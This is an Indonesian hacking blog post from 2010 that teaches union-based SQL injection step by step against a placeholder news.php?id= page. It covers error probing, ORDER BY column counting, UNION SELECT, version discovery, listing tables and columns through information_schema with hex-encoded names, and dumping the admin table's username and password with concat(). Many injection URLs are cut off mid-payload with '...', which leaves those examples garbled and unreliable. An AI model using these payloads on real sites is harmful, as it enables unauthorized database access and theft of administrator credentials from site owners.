Kamis, 07 Oktober 2010

Sql Injection Ver. 5

Untuk mencari ada atau tidak bugnya sebenernya ada di artikel sebelumnya, juga standar pencarian union, gue cuma nambahin sedikit aja, jadi gue copy paste aje ye

1.) Cek Kutu
Misalkan kita mendapatkan target
http://www.target.com/news.php?id=5
Sekarang kita test ada kutunya g tuh website dengan menambahkan di url?
contoh http://www.target.com/news.php?id=5′
maka akan muncul error
?You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc??
Atau Yang mendekati
Itu berarti kita bisa gunakan Sql Injection



2). Mencari nomor dari kolom
Untuk mencari nomor dari kolom kita menggunakan perintah ORDER BY
Kita melakukan perurutan nomor sampai ada error
http://www.target.com/news.php?id=5+order+by+1/* http://www.target.com/news.php?id=5+order+by+2/* http://www.target.com/news.php?id=5+order+by+3/* http://www.target.com/news.php?id=5+order+by+4/* Berarti kita mendapatkan kolomnya, ya itu 3, karena di 4 error.
Sedikit penjelasan, dalam penggunaan ORDER BY kita mencari pertemuan dimana website itu menjadi error dan tidak, setelah itu mendapatkannya, kita ambil yg tidak erorr terakhir sebelum keluar error.

3). Menggunakan fungsi UNION
Dengan menggunakan UNION kita dapat memilih lebih banyak data dalam satu statemen sql.
Jadi kita mendapatkan
http://www.target.com/news.php?id=5+...SELECT+1,2,3/* (kita telah menemukan bahwa nomor dari kolom-kolom adalah 3 di dalam bagian 2)
Sekarang lihat pada artikel, artikelnya akan berubah jadi nomor 1 atau 2 atau 3 atau keluar semuanya, itu lah gunanya UNION

4). Check versi dari MySQL
http://www.target.com/news.php?id=5+...select+1,2,3/*
NOTE: jika /* tidak bisa atau terjadi error, coba dengan ?
ini merupakan suatu komentar penting bagi query kita untuk bekerja dengan baik.
Misalkan kita mendapatkan nomor 2 di dalam tampilan, sekarang kita cek verisinya
kita buang nomor 2, ganti dengan version() atau @@version nanti akan mendapatkan seperti 4.1.33-log atau 5.0.45 atau yang mendekati.
Contoh tampilan : http://www.target.com/news.php?id=5+...,@@version,3/*
Jika kamu mendapatkan error ?union + illegal mix of collations (IMPLICIT + COERCIBLE) ??
Yang kita butuhkan adalah fungsi convert()
contoh :
http://www.target.com/news.php?id=5+...ng+latin1),3/*
atau dengan hex() dan unhex()
contoh :
http://www.target.com/news.php?id=5+...@version)),3/*
dan kamu akan mendapatan versi MySql

5). Mendapatkan table dan nama column
Jika versi MySQL adalah 5 (contoh : 5.0.45, 5.0.51a-community?)
? Mencari Table
Contoh Nomor yang keluar ada 2, jadi kita masukan perintah injekan di nomor 2
http://www.target.com/news.php?id=5+...()+limit+0,1/*
Untuk melihat table selanjutnya kita rubah limit+0,1/* menjadi limit+1,1/* lalu limit+2,1/* dst.
Sampai tabel yang dinginkan, contoh table admin
? Mencari Column
Sekarang kita cari column pada table admin
http://www.target.com/news.php?id=5+...n?+limit+0,1/*
Setandarnya bisa menggunakan itu jika quotenya off, tetapi jika quote on nama table harus di encode dengan hexa
admin = 61646D696E
Untuk dapat di baca oleh perintah SQL, harus di tambahakan 0x sihingga menjadi 0?61646D696E
http://www.target.com/news.php?id=5+...6E+limit+0,1/*
Untuk melihat colum selanjutnya tinggal merubah limitnya seperti table diatas.
Contoh column yang keluar username dan password
Sekarang kita lihat datanya
http://www.target.com/news.php?id=5+...3+from+admin/*
Contoh data yang keluar : admin
http://www.target.com/news.php?id=5+...3+from+admin/*
Contoh data yang keluar : p45w0rd
sekarang kita harus menyelesaikan query biar terlihat bagus
untuk itu kita menggunakan fungsi concat() (merupakan penggabungan strings)
contoh :
http://www.target.com/news.php?id=5+...3+from+admin/*
catatan : 0?3a, adalah nilai hex dari 3a, sedangkan 0x merupakan tambahan untuk dapat di baca oleh URL
(ada cara lain untuk itu dengan menggunakan, char(5, merupakan dari nilai decimal )
http://www.target.com/news.php?id=5+...3+from+admin/*
Maka akan muncul tampilan data : admin45w0rd

Tidak ada komentar:

Posting Komentar